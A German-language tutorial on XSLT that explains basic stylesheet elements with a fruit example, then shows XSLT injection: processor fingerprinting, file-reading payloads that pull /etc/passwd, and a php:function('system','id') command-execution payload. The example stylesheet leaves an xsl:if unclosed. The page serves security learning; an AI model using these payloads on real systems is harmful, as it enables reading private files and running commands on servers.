Skip to content

eXtensible Stylesheet Language Transformation (XSLT)

XSLT ist eine Sprache um XML Dokumente zu transformieren. Beispielsweise kann es spezifische Knoten eines XML Dokuments nehmen und die XML Struktur ändern. Mit XSLT kann ein Datenformat definiert werden, welches durch Daten aus dem XML Dokument angereichert wird. Dabei sind XSLT Daten ähnlich zu XML Dokumenten, dabei enthalten sie Knoten welche mit dem xsl-präfix beginnen.

<xsl:template> # XSL Template. Kann ein match Attribut enthalten, welches einen Pfad im XML Dokument enthalten kann, auf welches das Template zutrifft.
<xsl:value-of> # Extrahiert den Wert im XML Knoten spezifiziert vom select Attribut.
<xsl:for-each> # Dieses Element kann über alle XML Knoten iterieren, welche im select Attribut definiert sind.
<xsl:sort> # spezifiziert, wie Elemente in einer Schleife sortiert werden sollen anhand des select Arguments. Zusätzlich zu der Sortier reihenfolge in dem order Argument
<xsl:if> # Kann genutzt werden um auf Bedingungen im test Attribut zu testen

XML Dokument für Beispiele ```XML Apple Red Medium Banana Yellow Medium Strawberry Red Small ```

Das folgende Beispiel zeigt die Ausgabe aller Früchte aus einem XML Dokument, sowie ihrer Farbe:

<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/fruits">
        Here are all the fruits:
        <xsl:for-each select="fruit">
          <xsl:sort select="color" order="descending" />
            <xsl:if test="size = 'Medium'">
              <xsl:value-of select="name"/> (<xsl:value-of select="color"/>)
        </xsl:for-each>
    </xsl:template>
</xsl:stylesheet>
Dies sieht dann so aus:
Here are all the fruits:
    Banana (Yellow)
    Apple (Red)

Exploiting XSLT

Um XSLT nun zu exploiten kann zuerst einmal geprüft werden, ob eine Injection möglich ist beispielsweise durch das kaputt machen des XSLT Codes. Dies kann beispielsweise durch das einfügen des < Zeichens erfolgen.

Um nun einige Informationen über den XSLT Prozessor zu erhalten kann der folgende Code genutzt werden:

Version: <xsl:value-of select="system-property('xsl:version')" />
<br/>
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br/>
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
<br/>
Product Name: <xsl:value-of select="system-property('xsl:product-name')" />
<br/>
Product Version: <xsl:value-of select="system-property('xsl:product-version')" />

LFI

Es gibt mehrere Möglichkeiten Daten zu lesen. Allerdings, ob diese Funktionen funktionieren hängt von der XSLT Version ab und der Konfiguration der XSLT library. Die Funktion unparsed-text wurde beispielsweise erst ab Version 2 hinzugefügt.

<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
Falls die XSLT library dazu konfiguriert ist PHP funktionen zu akzeptieren und auszuführen kann der folgende Payload genutzt werden:
<xsl:value-of select="php:function('file_get_contents','/etc/passwd')" />

RCE

Auch ist es möglich eine Remote Code Execution Schwachstelle auszunutzen, falls die XSLT library PHP unterstützt:

<xsl:value-of select="php:function('system','id')" />